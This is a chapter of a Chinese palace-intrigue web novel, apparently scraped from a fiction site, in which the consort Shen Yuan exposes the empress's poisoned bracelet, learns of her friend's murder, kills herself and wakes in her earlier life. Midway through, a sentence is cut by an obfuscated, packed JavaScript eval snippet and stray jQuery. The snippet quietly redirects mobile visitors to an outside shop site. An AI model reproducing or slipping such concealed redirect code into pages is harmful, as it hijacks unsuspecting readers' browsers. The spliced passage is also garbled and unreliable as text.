2. 002
    萧钲皱眉将她衣襟拉拢,刚要接过襁褓,身后有人奔跑的声音,萧钲让沈芫抱好孩子,起身将人藏在身后。

    他身形健硕又着盔甲,把沈芫挡得严严实实。

    “萧将军,国公爷找你。”

    昏暗的烛光下,来人没看到萧钲足下未着鞋履,也未注意他的剑没在他手上。

    萧将军回道,“我马上就到。”

    身后,沈芫闪身回殿,将门关好,孩子仍在手上,她将他放到摇篮里,躺下时已泪流满面。

    翌日清晨,沈芫睁眼,竟有人侍奉在侧,她问道,“谁让你们来的?”

    宫女跪下道,“回贵妃娘娘的话,是国公爷给各殿都送了梳洗的侍女,伺候主子们梳洗。”

    沈芫一怔,沈玄尘竟会想到这些。

    她鬓发已散乱多时,刚醒时带着天真的娇憨,纤长的手从青丝间梳过,又有一丝妩媚,“那就,多谢哥哥了。”

    宫人上前伺候她梳洗,给她绾好发髻,沈芫揽镜自赏,依然是美貌无双,抬眸间带着动人神韵。

    铜镜中宫人的嘴唇未动,却发出声音,“娘娘,沈国公希望你能站出来指证皇后阴氏。”

    沈芫心里冷笑一声,原来还是要利用她。

    沈芫道,“本宫可以帮沈国公,但是他需要护我孩子周全。”

    宫人腹语道,“沈国公说你提出任何条件,他都答应。”

    真大方,沈芫笑着笑着便双眼含泪,她笑着擦去。

    她翻出自己压箱底的饰物,力求让自己看上去体面。

    如此行走间便有些缓慢,李妃追上她,上下打量她一眼,“怎么今日打扮得这么隆重?”

    沈芫回道,“因为不想让人看不起。”

    李妃笑道,“你都是贵妃了,谁还敢看不起你。”

    沈芫也笑,“你看,我们经常为陛下吵架,但是我知道,你没有真的看不起我。”

    因为有人真的看不起她,瞧她就如肮脏鼠蚁,厌她自甘下贱。

    李妃也有些难为情的挠挠头,“你这么说倒让我有些不好意思。”

    沈芫摇摇头,对这位心直口快嚣张跋扈的妃子有些无奈,“以后说话前三思吧,别被人当枪使了。”

    李妃虽然嘴毒,至少从未暗箭伤过人。

    沈芫端坐在椅子上,问过皇后安轻轻抿上一口香茗,散去晨起的浊气,还未放下茶盏,就有人道,“都齐了吧。”

    太后竟也来了,皇后连忙请太后上坐。

    “今日哀家来,是为配合沈国公,他既要清君侧,那后宫嫔妃自然也在其列。”

    在座的嫔妃脸色都是一白,这是要为天子殉葬的意思吗?

    沈玄尘缓步走进殿内,“不错,后宫阴私诸多,今日便好好审一审。”

    沈芫差点咬碎牙,这个沈玄尘是要当判官堂审后宫佳丽吗?连楚鉴都未插手过后宫。

    阴氏开口道,“沈国公,后宫诸事一直是本宫在主理,并未有惑主之人,你若有证据,不妨直接拿人。”

    沈玄尘却一甩衣袖坐到太后下首,“今日若是有人能当堂指证,我就放她出宫。”

    此言一出,殿中顿时一阵喧哗,互有不爽的嫔妃直接互相呛声,你一句我一句的将后宫阴私翻个底朝天。

    连沈芫都被问候上一句,“在陛下必经之地候着,就是为了让陛下到自己殿中。”

    在沈玄尘面前被非难,让沈芫觉得尤其丢人,她本想回复,“在宫中不争宠争什么?准备在冷宫过日子吗?”

    抬首就发觉沈玄尘的目光落在自己脸上,顿时闭上嘴,当自己是个哑巴。

    劲爆的是控诉皇后害人流产,几个妃嫔都跪下指认皇后,看见沈玄尘不再单手撑脸,沈芫盯着那些妃嫔,重头戏来了。

    沈玄尘走到她们面前,“你们如何能证明皇后谋害皇嗣呢?”

    挑头的是去年失子的端嫔,年节时期踩到残冰,跌跤小产,楚鉴怜她失子,给她赐下封号“端”。

    若是早几年,余妃未因接连失子抑郁而终,这里跪着的或许会多她一个。

    端嫔还不够格。

    她们都在说自己的遭遇,没一人能拿出证据来,沈芫看到皇后捏紧的手帕又松开了,就知道这些人扳不倒她。

    沈玄尘也道,“这些都是猜测,你们的证据呢?”

    这些可怜的女孩面面相觑,端嫔掏出匕首抵住脖颈,“臣妾愿以性命为证,绝无虚言。”

    萧钲出手将她的匕首打掉,落在一旁人的脚下。

    沈玄尘道,“自尽是最蠢的办法。”

    端嫔垂下头,捂着脸落泪,“可是,臣妾没别的办法了,那个毒妇她做的太隐蔽了。”

    “未必。”沈芫起身,将匕首藏在裙摆下,“皇后娘娘,也有露马脚的时候。”

    阴氏瞳仁一缩,她冷声道,“沈贵妃,你也要污蔑本宫吗?”

    沈芫今日打扮的这么好自然是要唱大戏的,今早太后来问她要皇子,她让人磨磨蹭蹭的送去一个假襁褓。

    赌太后被看管着,根本没法要求看孩子。

    果然太后虽迟到,却也在沈玄尘之前到了坤宁宫。

    如今孩子已被萧钲的人接手守护,她非常放心。

    坤宁宫是鱼死网破的一局,身为棋子她要表现得漂亮,让执棋之人满意,进而提出她的愿望。

    沈芫站得离沈玄尘近了些,她举起手中的首饰,“这是姐姐在我刚进东宫时送我的手镯。”

    “姐姐是第一个对我展示善意的人,我日日带着它,初时困窘,也是姐姐送的首饰让我勉强能够露面。”

    阴氏名叫阴淑华,沈芫是叫过她淑华姐姐的人。

    阴淑华斥道,“你记得本宫对你的好,却要在今日这般污蔑本宫?”

    “姐姐别急,”沈芫安抚道,“我还没说完呢。”

    她抬手将镯子砸下,掐丝华丽的金镯撞击变形,露出里面的丸药,“你看这些药丸,熟不熟悉。”

    阴淑华面色不变,“本宫送你时就说过,这镯中有香料,能发出异香,应该早已挥发完才是,你是想诬陷本宫不成?”

    沈芫蹲下身拾捡丸药,“是啊,应该挥发完才是,怎么会留下证据呢?”

    她像是想到什么笑话,笑得眼泪都出来了,“当然是因为我穷啊,你送的金镯我压在箱底下,带了对鎏金的出去。”

    “反正也没人敢指出来,太子妃送的东西还能有假不成。”

    沈芫干脆一屁股坐下来,“等到我封妃,这手镯我才拿出来带,我的第一个孩子,自然就流产了。”

    “我以为是我身体不好,可是从我宫中出去的一个近身服侍的宫人也是如此,就不由得让我起了疑心。”

    “这一搜查,手镯中的香料就让我警惕,寻人将镯子完好保存至今,找太医一验便知,这里面都是使人落胎的猛药。”

    沈芫起身将手镯和药丸用手帕包裹好递给萧钲,总觉得沈玄尘的脸色莫名的阴沉,像是生气了。

    他有什么好生气的,沈芫在东宫受到的折磨,还不是因为他。

    萧钲去太医院将太医拎过来验药,沈玄尘解开一人的水囊,倒在沈芫手上,抽出手帕来将她擦拭干净。

    沈芫笑得很妖冶,“哥哥嫌弃了?”

    沈玄尘问她,“可还有其他要指认的?”

    沈芫笑得落下泪来,环视一周,“她们欺负过我,我也欺负过她们,扯平了。你来晚啦,我已经不需要你护着了。”

    她最孤立无援,最无助的时候,沈玄尘在哪呢?

    阴淑华盯着她,“沈贵妃,说来,本宫也有些你的事,藏在心里未敢与人言。”

    两人四目相望,双双不让,在这坤宁宫对峙着。

    沈芫面无表情,她当然有把柄在阴氏手上,当年她在国公府,扮成小公子四处玩乐,结识一干好友。

    唯有齐殊,最为交心,引为知己,他一中进士便送信给她,分享这个好消息,可惜那时她已入东宫。

    齐殊要离京赴任,恐今生难再见,东宫中无人在意她这无宠的宝林,她趁机出宫相会,被阴淑华知晓,竟然替她瞒下。

    所以她才从未对阴淑华起过疑心。

    这般信任,却被辜负。

    太医验完丸药,确认是毒,又核查当年礼物的单子,确认此镯是从皇后宫中出来的。

    沈玄尘让所有妃嫔出去,仅余皇后、太后、沈贵妃三人。

    李妃担忧的望着殿内,“没想到皇后这般心狠手辣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745691|145262||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,不知道沈六能不能应付。”

    谢妃也有些胆寒,她呆呆问道,“之前的余妃落过几次孩子,抑郁而终,不知道和皇后有没有关系。”

    两人打了个寒颤。

    闲杂人退散,太后才斥责道,“阴氏,没想到你竟然如此狠毒,吾儿子嗣单薄,皆是你之过!”

    阴淑华道,“都是学得你呀,本宫的好婆婆,你怎么对付本宫的,怎么好意思教训本宫。”

    当年太后属意的楚鉴正妃是她的侄女吕知锦,所以对阴淑华百般折磨,她的第一个孩子就是为太后侍疾时小产的,之后再未怀孕过。

    她昂首走到沈芫面前,“沈芫,今日你站出来污蔑本宫,可是放弃了你的齐郎?”

    太后哪里想得到这里的两位位份最高的嫔妃,一个谋害她儿子皇嗣,一个给她儿子带绿帽。

    沈芫从衣摆处掏出坐下时捡起的匕首,“所以今日你必须死!”

    她一刀刺下,却被沈玄尘拦住,“别杀她,脏手。”

    萧钲将阴淑华拖走,内有健妇手执白绫,预备勒死贵人。

    阴淑华喊道,“沈贵妃与贞康二十三年进士齐殊有奸情,当年齐殊离京,沈芫还曾出宫送他,坤宁宫一直留有两人的书信。”

    她癫狂一笑,“沈芫,你不想知道他现在在哪吗?”

    沈芫目光森寒,“他在哪?”

    “在你曾掉进的枯井里,哈哈哈哈。”她笑得癫狂,“你在那里呆了一夜,可有与你的齐郎梦中相会。”

    “哈哈哈,本宫用你的字迹写信引他回京,将他鸩杀,为了给你掩盖私会外臣的丑事,本宫也是为你好呀。”

    沈芫握着匕首的手剧烈颤抖,“我要杀了你,我要杀了你!啊——”她痛吼出声。

    阴淑华脖间被勒紧,她再也说不出话来。

    太后的脸色面沉如水,盯着沈芫,“竟然与人私通,真是不知廉耻。”

    沈芫扶着沈玄尘的手才能不摔倒,她看着沈玄尘的眼睛,“哥哥,齐殊真的死了吗?他是广信县的县令,你帮我找找他……”

    沈玄尘握紧她的手,“广信县县令齐殊,失踪数月未归,百姓为其击鼓鸣冤,数年过去,尸骨仍未寻到。”

    沈芫痛哭出声,“哥哥,他是这辈子对我最好的人,可是却因我而死,我以为他在大楚某个角落,实现着自己的理想,我便觉得自己曾经热忱过,就够了。”

    沈玄尘用力扶住她,沈芫似油枯灯尽,她虚弱道,“哥哥,这辈子我没有求过你什么,我求你别杀我的孩子,将他送走吧。”

    她的泪滴在沈玄尘手上,让他心口一烫。

    沈玄尘停顿了一下,终是说道:“你将匕首给我,我答应你。”

    沈芫后退几步,笑着道,“永别了,沈玄尘。”

    她回忆起第一听到这个名字时……

    “哥哥叫什么呀?”

    “道号玄尘,芫娘可以叫我沈玄尘。”

    她将刀锋没入心口狠狠一剜,又狠狠抽出,鲜血喷涌,刹那间将她的绯衣染的更加鲜艳,你看,她特意着的衣裳,决不会污了哥哥眼。

    她会死得漂漂亮亮,让这宫殿的屋檐再也遮不住她的天空,可抬首望过去,坤宁宫仍是那般森严寒冷,待在笼中多年,“真累啊。”

    沈芫倒下,落在一个怀抱里,想要睁眼看看,却陷入更深的黑暗中。

    *

    夜雨,檐下滴答作响,潮湿的风吹开窗,引得纱帘飞舞,有一女子在层层纱帐下小憩。

    她香汗淋漓,青丝粘在脸边,口中似有呓语,“不,不要——”

    沈芫双手抓紧床被,好似在忍受无尽的痛楚,有细弱的痛苦的呻吟从口中溢出。

    有人冒雨而来,敲打国公府大门,引得各处灯火亮起,有人寻到沈芫榻前,唤醒她,“六小姐,不好啦,国公爷和少爷们出事了。”

    沈芫睁开眼,分不清今夕何夕,梦中一切如此真实,恍若前世。

    她又问了一遍绿筠,“发生什么事?”

    绿筠慌张道,“老爷和少爷路遇土匪袭击,全队覆灭,怎么办呀,小姐。”

    与梦中的一样,国公府大厦将倾,这次,她绝对不会再进东宫樊笼,她要逃出这国公府的泥潭。